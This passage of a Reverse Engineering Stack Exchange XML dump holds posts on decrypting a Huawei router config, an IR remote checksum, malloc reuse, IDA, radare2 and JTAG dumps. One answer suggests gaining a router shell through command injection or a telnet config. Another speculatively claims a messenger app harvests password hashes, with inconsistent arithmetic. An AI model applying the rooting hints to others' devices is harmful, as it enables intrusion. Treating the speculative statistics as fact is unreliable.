data_size=%d, privateKey size=%d&#xA; [bpi] check_sha_digest&#xA; caculate_sha_digest results&#xA;  0x &#xA;  public_encrypt&#xA; image_buf_len =%d&#xA; [pbi] get_sha_digest_in_image fail&#xA; img_sha =%d&#xA;  cal_sha =%d&#xA;  [pbi] image SHA256 digest is wrong&#xA; [pbi] image SHA256 digest MATCH !!!&#xA;  [%02d-%02d-%02d %02d:%02d:%02d:%03ld]  ' &amp;gt;&amp;gt; /dev/console  echo '                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             ;    %02hhx delitem_1 = %s&#xA; del_count =  %d&#xA;  ,  00 parment of index is wrong  &amp;lt;%s&amp;gt;  Error  Invalid index number.  &amp;lt;/%s&amp;gt;&#xA; wrong parment of del_count! [deleteNthValueMultiWithDataCheck]value:[%s],rulsCount = %d count = %d the index of content max than ruls count  the contexts are diff  11  the index is valied the contexts are diff  22  the contexts are diff  33  what about the value rec is:%s ,hashcode is :%s , and data-&amp;gt;hashcode is:%s&#xA; %s ;%s [utils] i=%d,rec=%s&#xA;  [utils] num=%d&#xA; [utils_FilterReplaceOperation] i=%d,num=%d&#xA; br0 [utils] getLanInfoList&#xA; /proc/net/arp  r  %19s  %hhu.%hhu.%hhu.%hhu %hhx:%hhx:%hhx:%hhx:%hhx:%hhx  0x%x  [utils] get_arp_flags arp_flags = %d&#xA;  [utils] lan_info_count %d&#xA;  stat_info...  &#xA;  :  [util] getWlanMacList&#xA; /proc/wlan0/sta_info      hwaddr [util] get wlan MAC %s &#xA;  The public port &amp;quot;%d&amp;quot; is used with TCP and UDP, please use another one. The public port &amp;quot;%d&amp;quot;-&amp;quot;%d&amp;quot; is used with TCP and UDP, please use another one. The public port &amp;quot;%d&amp;quot; is used with TCP, please use another one. The public port &amp;quot;%d&amp;quot;-&amp;quot;%d&amp;quot; is used with TCP, please use another one. The public port &amp;quot;%d&amp;quot; is used with UDP, please use another one. The public port &amp;quot;%d&amp;quot;-&amp;quot;%d&amp;quot; is used with UDP, please use another one. The public port is used, please use another.  (%d)(%s)(%s)... utils.cgi.c i: %d, ignoredIdx: %d  sFromPort1: %s, sToPort1: %s, sProtocol1: %s  sFromPort: %s, sToPort: %s, sProtocol: %s  iFromPort1: %d, iToPort1: %d, Protocol1: %d TCP UDP TCP_UDP iFromPort: %d, iToPort: %d, Protocol: %d  check webs_isPublicPortUsed 1  check webs_isPublicPortUsed 2  check webs_isPublicPortUsed 3  check webs_isPublicPortUsed 4  session_stok  sess_stok  [www]cgi getSessinStok ok  RoamSetting AttachSetting  AttachManual  DeatchManual  PDNcfgSetting  DataManualConnect  SetSelectMode  SetPlmnId  SetFotaUrl JoinWps Check  DiagnosticCmd  \B2 \B2 \B2, \B2&amp;lt; \B2L \B2\ \B2p \B2\80 \B2\8C \B2\98 \B2\A0 \B2\A8[www]cgi_response_sess_stok ok Content-type: text/xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Also in &lt;code&gt;rsa.js&lt;/code&gt; file public key is displayed :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;encrypt: function($data, $pubkey) {&#xA;        if (!$pubkey) return false;&#xA;        var bytes = ($pubkey.modulus.bitLength()+7)&amp;gt;&amp;gt;3;&#xA;        $data = this.pkcs1pad2($data,bytes);&#xA;        if(!$data) return false;&#xA;        $data = $data.modPowInt($pubkey.encryptionExponent, $pubkey.modulus);&#xA;        if(!$data) return false;&#xA;        $data = $data.toString(16);&#xA;        while ($data.length &amp;lt; bytes*2)&#xA;            $data = '0' + $data;&#xA;        return Base64.encode(Hex.decode($data));&#xA;    },&#xA;    encryptByDefaultKey: function($data, ispost){&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29147" LastEditorUserId="37138" LastEditDate="2021-12-06T05:16:57.673" LastActivityDate="2021-12-06T05:16:57.673" Title="Decrypt config.bin file from Huawei B5328 router. I have source files" Tags="|decryption|javascript|websites|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21847" PostTypeId="1" CreationDate="2019-08-06T01:19:41.393" Score="1" ViewCount="211" Body="&lt;p&gt;I am trying to reverse engineer the IR protocol for my air conditioner (GREE - remote control YAP1FF) and with the data I found online and a lot of testing with a IR receiver there is only one field I still cannot calculate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am pasting some different messages and the field I am interested in is 8 bit long, delimited by brackets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The values within m1 have no influence on the field. The field only has data when I set a time for automatically power on or to power off. The times are on m2.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;m2:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;11 bits = minutes remaining until power on time (1 to 1440)&lt;/li&gt;&#xA;  &lt;li&gt;1 bit = '1'&lt;/li&gt;&#xA;  &lt;li&gt;11 bits = minutes remaining until power off time (1 to 1440)&lt;/li&gt;&#xA;  &lt;li&gt;1 bit = '0'&lt;/li&gt;&#xA;  &lt;li&gt;1 bit = '0' if power off function is disabled, 1 if enabled&lt;/li&gt;&#xA;  &lt;li&gt;1 bit = '0' if power on function is disabled, 1 if enabled&lt;/li&gt;&#xA;  &lt;li&gt;2 bits = '00'&lt;/li&gt;&#xA;  &lt;li&gt;4 bits = general checksum (m1 and m2 together). I have the formula for this checksum&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;All the fields are stored in reverse bit order (little endian?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the power on time is 1 to 14 minutes from current time the field is always 00010000;&#xA;from 15 to 29 minutes it's 10010000; from 30 to 44 it's 00011000.&#xA;It changes every 15 minutes so I guess the 4 first bits are not being used to calculate it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;m1=100100001010[00011000]011000000110010 m2=10011001101110101100000011001110&#xA;m1=100000000110[00110010]010000000110010 m2=00101001101100000000000001000111&#xA;m1=100000000110[10111100]010000000110010 m2=10001001101100000000000001001011&#xA;m1=100000000110[00111100]010000000110010 m2=10010110101100000000000001000101&#xA;m1=100000000110[10110100]010000000110010 m2=10101010101100000000000001000001&#xA;m1=100000000110[10110100]010000000110010 m2=11001010101100000000000001000001&#xA;m1=100000000110[10110100]010000000110010 m2=00011100101100000000000001000110&#xA;m1=100000000110[00110100]010000000110010 m2=11101100101100000000000001000110&#xA;m1=100000000110[00110010]010000000110010 m2=11111001101100000000000001000111&#xA;m1=100100000010[00011000]011000000110010 m2=01111001101101011100000011001101&#xA;m1=100000000110[00010000]010000000110010 m2=10000000000100000000000001001000&#xA;m1=100100000010[10011000]011000000110010 m2=00001000000100110010000011001010&#xA;m1=100000000110[10010000]010000000110010 m2=00001000000100000000000001000100&#xA;m1=100100000010[10011000]011000000110010 m2=10010100000110100110000011001111&#xA;m1=100000000110[00011000]010000000110010 m2=01110100000100000000000001000010&#xA;m1=100100000010[00010100]011000000110010 m2=11100010000111000001000011000000&#xA;m1=100000000110[10011000]010000000110010 m2=00110010000100000000000001000110&#xA;m1=100100000010[10010100]011000000110010 m2=11000110000111111001000011000111&#xA;m1=100100000010[00010100]011000000110010 m2=01010110000100000000000001001111&#xA;m1=100100000010[00011100]011000000110010 m2=11000001000111111101000011001000&#xA;m1=100100000010[10010100]011000000110010 m2=00010001000100000000000001001000&#xA;m1=100100000010[10011100]011000000110010 m2=00010001000100100011000011000110&#xA;m1=100000000110[00010000]010000000110010 m2=00000000000101000000000010001100&#xA;m1=100000000110[10010000]010000000110010 m2=00000000000110001000000010000100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If both power on and power off functions are disabled, the field will always be 00000000&lt;/p&gt;&#xA;" OwnerUserId="29241" LastEditorUserId="29241" LastEditDate="2019-08-06T02:53:08.417" LastActivityDate="2019-08-06T04:15:02.623" Title="Checksum field within IR protocol" Tags="|protocol|crc|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21848" PostTypeId="2" ParentId="21846" CreationDate="2019-08-06T04:06:51.663" Score="1" Body="&lt;p&gt;Unfortunately, knowledge of JS probably isn't going to help. The HTML passes along the uploaded file to the &lt;code&gt;cgi-bin/maintenance.cgi&lt;/code&gt; file which is a compiled ARM BE8 binary that's a bit more work to analyze than just looking at some javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a very brief look, there is an RSA public/private key pair embedded in the binary that might be useful for extracting the contents of the config. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I'm not sure that decrypting the config will necessarily get you what you want. You might actually have everything you need already. For example, there's a ton of calls to &lt;code&gt;system&lt;/code&gt; inside those files. There's a decent chance that you could use one of those to get command-injection on the router to enable a terminal that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And even that might actually be overkill if the router itself listens on telnet as a part of its bootup process which is fairly common.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, there appears to be a telnet enabled config you can load from the &lt;code&gt;backup_setting.html&lt;/code&gt; page as there is a snippet there that references a config with telnet in the name. In fact, that's the only mention of telnet in all the files, so there's not likely some default intended way to enable it via the built in binaries. &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        if(filename.match(&quot;(.*)telnet(.*).bin&quot;) == null){&#xA;            AlertBlock('The router will restart after you restore it to the backup settings.Are you sure you want to import the config?','preConfigImport()','refreshpage()');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="229" LastActivityDate="2019-08-06T04:06:51.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21849" PostTypeId="2" ParentId="21847" CreationDate="2019-08-06T04:15:02.623" Score="1" Body="&lt;p&gt;I don't have an actual answer but this grew too long to be a comment so I'm adding it down here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure you've noticed that the bit-patterns of that byte you're interested in aren't particularly random. Three are fixed either at 0 or 1, and among the others there are few that actually look evenly distributed the way you'd expect with an effective checksum.  Given the pattern you observed in the m2 to use &lt;code&gt;1&lt;/code&gt; by itself to act as a separator it seems likely that the 4th bit (or 3rd if we're starting at 0) is one such separator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be useful to do some correlation analysis (a bit like differential cryptanalysis) to determine which potential input bits in m2 are well-correlated with some of those more random seeming output bits in your byte. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, if you use the idea I suggested above of using the 1 as a separator then you're actually just looking at two distinct values where the first is only ever 0, 1, 4, and 5 and the second is 0-4. Maybe using those values while looking at the data in m2 will be useful.&lt;/p&gt;&#xA;" OwnerUserId="229" LastActivityDate="2019-08-06T04:15:02.623" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21851" PostTypeId="2" ParentId="21844" CreationDate="2019-08-06T09:28:13.787" Score="0" Body="&lt;p&gt;The exact behavior would depend on the implementation details of the memory manager behind &lt;code&gt;malloc()&lt;/code&gt;. But it is a common case that memory managers would reuse memory blocks previously released with &lt;code&gt;free()&lt;/code&gt;. If &lt;code&gt;malloc()&lt;/code&gt; recycles a memory block which is not zeroed (for example using &lt;code&gt;memset()&lt;/code&gt;) before being released, the block will generally contain buffer content remaining from previously executed functions inside the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that the memory manager does not initialize blocks upon allocation and release, the implications of this pseudocode is that it will repeatedly take random memory samples (of 1k size) within the process' memory address space, which will occasionally catch some data remained from the workings of previously executed code.&lt;/p&gt;&#xA;" OwnerUserId="25850" LastActivityDate="2019-08-06T09:28:13.787" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21853" PostTypeId="1" AcceptedAnswerId="21855" CreationDate="2019-08-06T12:58:09.167" Score="1" ViewCount="1197" Body="&lt;p&gt;I have 2 binaries, with the same CPU architecture. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a flirt signature file - first used &lt;code&gt;IDB2PAT&lt;/code&gt; on the first idb, and then &lt;code&gt;sigmake&lt;/code&gt; to produce the actual signature file out of it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put the produced file in the right CPU directory under &lt;code&gt;IDA&lt;/code&gt; home. Then I opened the second binary and applied the signature file on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is that some of the functions (~20%) are marked in blue as library functions, and actually appear in the original binary as expected, but almost none of those functions were renamed to the names from the first binary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what could be the reason? Is there another way to find the original function name from the binary that I apply the signature file on? &lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2019-08-06T20:19:48.380" Title="IDA and flirt signatures" Tags="|ida|binary|flirt-signatures|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21854" PostTypeId="1" CreationDate="2019-08-06T15:37:41.313" Score="2" ViewCount="1044" Body="&lt;p&gt;I can make an array using &lt;strong&gt;MakeArray&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a function to get the size of the array I've created?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried &lt;strong&gt;GetArrayId&lt;/strong&gt; + &lt;strong&gt;GetLastIndex&lt;/strong&gt; but it doesn't seem to work.&lt;/p&gt;&#xA;" OwnerUserId="29206" LastActivityDate="2019-08-14T21:26:19.583" Title="How to get array size of a global variable using IDApython?" Tags="|idapython|array|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21855" PostTypeId="2" ParentId="21853" CreationDate="2019-08-06T20:19:48.380" Score="1" Body="&lt;p&gt;Alas RISC instruction sets like PowerPC are often not a good fit for FLIRT. I you read the &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;white paper&lt;/a&gt; (or even the FLAIR doc), you'll see that it only has provision for variable &lt;em&gt;bytes&lt;/em&gt;, while in Power ISA the opcode fields usually cross byte boundaries, so you can get patterns which are either too broad (it ignores whole bytes instead of narrower bit fields) or too narrow (it does not allow enough variation and so won't match functions with slight changes). Additionally, solutions like &lt;code&gt;IDB2PAT&lt;/code&gt; are mainly tuned for x86 so they likely produce suboptimal output for PPC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest you to try simple byte sequence search to find some similar functions and then check if they were present in the original pattern list or not, and if they were, would the pattern bytes actually match the function.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-08-06T20:19:48.380" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21857" PostTypeId="2" ParentId="21820" CreationDate="2019-08-06T22:53:05.260" Score="2" Body="&lt;p&gt;Looks like you also asked the question over on the &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues/866&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ghidra GitHub&lt;/a&gt; page and the answer there is the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, no, Ghidra does not do that. But you should investigate &lt;a href=&quot;https://github.com/angr/angr&quot; rel=&quot;nofollow noreferrer&quot;&gt;Angr&lt;/a&gt;, &lt;a href=&quot;https://klee.github.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Klee&lt;/a&gt;, &lt;a href=&quot;http://bitblaze.cs.berkeley.edu/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitblaze&lt;/a&gt;, or &lt;a href=&quot;https://github.com/ksluckow/awesome-symbolic-execution&quot; rel=&quot;nofollow noreferrer&quot;&gt;others&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="229" LastActivityDate="2019-08-06T22:53:05.260" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21858" PostTypeId="2" ParentId="21844" CreationDate="2019-08-07T10:40:15.840" Score="1" Body="&lt;p&gt;There were some cases where uninitialized memory was used as an entropy source, e.g. &lt;a href=&quot;https://research.swtch.com/openssl&quot; rel=&quot;nofollow noreferrer&quot;&gt;OpenSSL&lt;/a&gt;, but I doubt this is happening here. Possibly there is something not present in the snippet you posted, or it could indeed be a genuine bug. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-08-07T10:40:15.840" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21862" PostTypeId="2" ParentId="21699" CreationDate="2019-08-09T14:11:42.347" Score="1" Body="&lt;p&gt;So I'm still looking for a better understanding but I found that the GNU_RELRO points from 0x03de8-0x04000, which tells me that this is somehow connected to dynamic relocation sections, and running objdump -R gives me this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DYNAMIC RELOCATION RECORDS&#xA;OFFSET           TYPE              VALUE &#xA;0000000000003de8 R_X86_64_RELATIVE  *ABS*+0x0000000000001130&#xA;0000000000003df0 R_X86_64_RELATIVE  *ABS*+0x00000000000010e0&#xA;0000000000004028 R_X86_64_RELATIVE  *ABS*+0x0000000000004028&#xA;0000000000003fd8 R_X86_64_GLOB_DAT  _ITM_deregisterTMCloneTable&#xA;0000000000003fe0 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.2.5&#xA;0000000000003fe8 R_X86_64_GLOB_DAT  __gmon_start__&#xA;0000000000003ff0 R_X86_64_GLOB_DAT  _ITM_registerTMCloneTable&#xA;0000000000003ff8 R_X86_64_GLOB_DAT  __cxa_finalize@GLIBC_2.2.5&#xA;0000000000004018 R_X86_64_JUMP_SLOT  printf@GLIBC_2.2.5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;still don't have a clear understanding so I cant mark this question as solved and I dont know why hexdump on both tools differ as indicated in the question.&lt;/p&gt;&#xA;" OwnerUserId="28943" LastActivityDate="2019-08-09T14:11:42.347" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21863" PostTypeId="1" AcceptedAnswerId="21865" CreationDate="2019-08-09T14:32:52.297" Score="0" ViewCount="181" Body="&lt;p&gt;Let's say I want to list all calls that issue kill,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;axt @ sym.imp.kill&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I now NOP out the &lt;code&gt;syscall&lt;/code&gt; at &lt;strong&gt;all&lt;/strong&gt; of the addresses given? I want to strip the program of calls to kill.&lt;/p&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2019-08-09T15:08:03.260" Title="How can I iterate over syscalls (as returned with `axt`) and rewrite them?" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21865" PostTypeId="2" ParentId="21863" CreationDate="2019-08-09T15:08:03.260" Score="1" Body="&lt;p&gt;I was able to get that working with &lt;code&gt;@@=&lt;code&gt;axt sym.imp.kill&lt;/code&gt;&lt;/code&gt;,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wao nop @@=`axt sym.imp.kill`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2019-08-09T15:08:03.260" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21867" PostTypeId="1" CreationDate="2019-08-09T19:38:25.500" Score="1" ViewCount="322" Body="&lt;p&gt;Iam wondering how to change search scope in radare2. I`ve made some research and set variables &lt;code&gt;search.from&lt;/code&gt; and &lt;code&gt;search.to&lt;/code&gt;, according to Radare2 Book, but it doesn't work at all! &#xA;&lt;a href=&quot;https://i.stack.imgur.com/CNTya.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CNTya.png&quot; alt=&quot;Screenshot from R2, setting search scope.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you help me with this one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;r2 -v &lt;code&gt;radare2 3.6.0-git 22077 @ linux-x86-64 git.3.5.1-256-ga49bb7cf6&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="29271" LastActivityDate="2021-05-02T00:09:46.267" Title="How to set search scope in radare2" Tags="|radare2|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21868" PostTypeId="1" CreationDate="2019-08-09T21:41:22.420" Score="5" ViewCount="139" Body="&lt;p&gt;I dumped the flash memory of an old ARM9 Chip running VxWorks using the SEGGER J-Link and the &lt;code&gt;savebin&lt;/code&gt; command from J-Link Commander.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of a line of HTML stored on memory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOC^YPE H^MN PUNLOC &quot;///W?C//NTN NTOL 4.01//EN&quot; &quot;nt~p&amp;gt;//ww.w?.oro/^R/h~mn4/s~roc~.ntn&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What it should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01//EN&quot; &quot;http://www.w3.org/TR/html4/strict.dtd&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The pattern of error that I see is the last 4 bits of every other byte is replaced with different bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the two bytes CT(43 54) in DOCTYPE become C^ (43 5E). The first 2 bits of the two bytes are always correct but the last 4 are not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, what is causing this systematic error? Is it a problem with the JTAG configuration or some ECC or something thing else completely?&lt;/p&gt;&#xA;" OwnerUserId="29272" LastEditorUserId="29272" LastEditDate="2019-08-12T17:07:21.800" LastActivityDate="2019-08-12T17:07:21.800" Title="JTAG Dumped Flash is scrambled" Tags="|binary-analysis|jtag|firmware-analysis|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21870" PostTypeId="1" CreationDate="2019-08-10T11:33:22.457" Score="1" ViewCount="394" Body="&lt;p&gt;I'm sorry if my question isn't very clear, I have trouble phrasing it so please bear with me.&#xA;I was playing around with Cheat Engine lately and found myself in a situation where I needed to find what function(s) was/were called when a specific event was triggered (like pressing the mouse button for instance)&#xA;Because this action wasn't tied to any particluar variable, I couldn't just &quot;listen&quot; for instruction modifying memory. I couldn't just log all the function calls because it would have been impossible to spot the right one from all the other ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it got me thinking of a way of doing it :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) put the debugger in a 'listen' mode where it logs all the function calls while the process is running. During that time, do not trigger the event you're looking for, just let the program follow its &quot;normal&quot; flow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) After a few seconds of &quot;calibration&quot;, the debuger now has a list of all the functions that are normally called when the event isn't triggered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Trigger the event. Now any function call that wasn't in the initial calibration list has to be at least correlated to the event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm really new to reverse engineering and I'm pretty sure a tool like that must already exist.&#xA;So my question is simple. Does it exists ? If not, why ? Wouldn't that be useful ? Is there's an easier way that I'm missing ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance (and sorry for broken English, I haven't slept in a while and it's not my native language)&lt;/p&gt;&#xA;" OwnerUserId="29223" LastActivityDate="2019-08-10T11:33:22.457" Title="How to find function called by instantaneous event (like mouse press for exemple)" Tags="|debuggers|callstack|cheat-engine|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21873" PostTypeId="2" ParentId="21844" CreationDate="2019-08-10T20:58:48.457" Score="-1" Body="&lt;h2&gt;Maybe to steal data?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When you request memory via malloc you will get a block of memory that was used by other applications or the os before. I think, it should be possible to extract valuable information (like hashes that were not properly cleaned up by password-managers and other credentials) from there, in respect to the large user-base and th computational power these companies have available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's do some calculations (unfortunately in code tags, becuase RE-Ex does not have MathJax):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;n&lt;/code&gt; be the number of memory from which malloc can choose&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;m&lt;/code&gt; be the size of the window we can search in&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;l&lt;/code&gt; be the size of the searched sequence&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The amount of different positions the window can have is given by &lt;code&gt;n - m + 1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The amount of positions, which will fully include a sequence of size &lt;code&gt;l&lt;/code&gt; is &lt;code&gt;m - l + 1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore the probability, that a random chosen search window will include our sequence is &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;p = (m - l + 1)/(n - m + 1)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We will assume,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;that the average available memory in the smartphone is &lt;code&gt;n = 4GB&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;the size of our search window is &lt;code&gt;m = 1024&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;that the length of the sequence is &lt;code&gt;l = 16&lt;/code&gt; (the size of an MD5-Hash)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This gives us a probability of &lt;code&gt;p = (1024 - 16 + 1)/(4e9 - 1024 + 1) ~= 2.5225e-7&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's do some more assumptions: Suppose the messenger has &lt;code&gt;1.5 billion users&lt;/code&gt; (&lt;a href=&quot;https://www.businessofapps.com/data/whatsapp-statistics/&quot; rel=&quot;nofollow noreferrer&quot;&gt;like WhatsApp has&lt;/a&gt;). Let's also suppose the code sends the data &lt;code&gt;twice a day&lt;/code&gt; and &lt;code&gt;one thousandth&lt;/code&gt; of the users have an unreserved MD5 hash somewhere in memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That gives us a total size of &lt;code&gt;1.5e9 / 1000 * 2 = 3e6&lt;/code&gt; samples to evaluate each day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We will approximate the expected numbers of useful hashes with the normal distribution: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sigma = sqrt(3e9*2.5225e-7*(1-2.5225e-7)) ~= 27.50909&lt;/code&gt; (so the approx. should yield good results) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;my = 3e9*2.5525e-7 ~= 756.75&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So the company will get with an certainty of 99.73% between 701 and 812 (&lt;code&gt;my-2*sigma, my+2*sigma&lt;/code&gt;) usable hashes each day.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I am not certain how java handles memory and how plausible (and effective) this scenario is. Nor do I have used any wellfounded values - I just plugged in some pseudo-logic numbers. I give also no guarantee for the corecctness of my calculations (I never really liked statistics).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nontheless: Feel free to play around with the values and correct me if I did some miscalculations.&lt;/p&gt;&#xA;" OwnerUserId="22734" LastActivityDate="2019-08-10T20:58:48.457" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21874" PostTypeId="1" CreationDate="2019-08-10T21:05:17.743" Score="1" ViewCount="884" Body="&lt;p&gt;I am reading Eldad Eilam's reverse engineering book and trying to follow his RtlInitializeGenericTable example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first part of it is fairly straightfoward-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7C921A39 MOV EDI,EDI&#xA;7C921A3B PUSH EBP&#xA;7C921A3C MOV EBP,ESP&#xA;7C921A3E MOV EAX,DWORD PTR SS:[EBP+8] ; eax = UnknownStruct-&amp;gt;Member1&#xA;7C921A41 XOR EDX,EDX&#xA;7C921A43 LEA ECX,DWORD PTR DS:[EAX+4] ; ecx = UnknownStruct-&amp;gt;Member2&#xA;&#xA;7C921A46 MOV DWORD PTR DS:[EAX],EDX   ; UnknownStruct-&amp;gt;Member1 = 0;&#xA;7C921A48 MOV DWORD PTR DS:[ECX+4],ECX ; UnknownStruct-&amp;gt;Member3 = &amp;amp;UnknownStruct-&amp;gt;Member2;&#xA;7C921A4B MOV DWORD PTR DS:[ECX],ECX   ; UnkownStruct-&amp;gt;Member2  = &amp;amp;UnknownStruct-&amp;gt;Member2;&#xA;7C921A4D MOV DWORD PTR DS:[EAX+C],ECX ; UnknownStruct-&amp;gt;Member4 = &amp;amp;UnknownStruct-&amp;gt;Member2;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where I get confused is in the second part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7C921A50 MOV ECX,DWORD PTR SS:[EBP+C] ; ecx = UnknownStruct-&amp;gt;Member2&#xA;7C921A53 MOV DWORD PTR DS:[EAX+18],ECX; UnknownStruct-&amp;gt;Member7 = 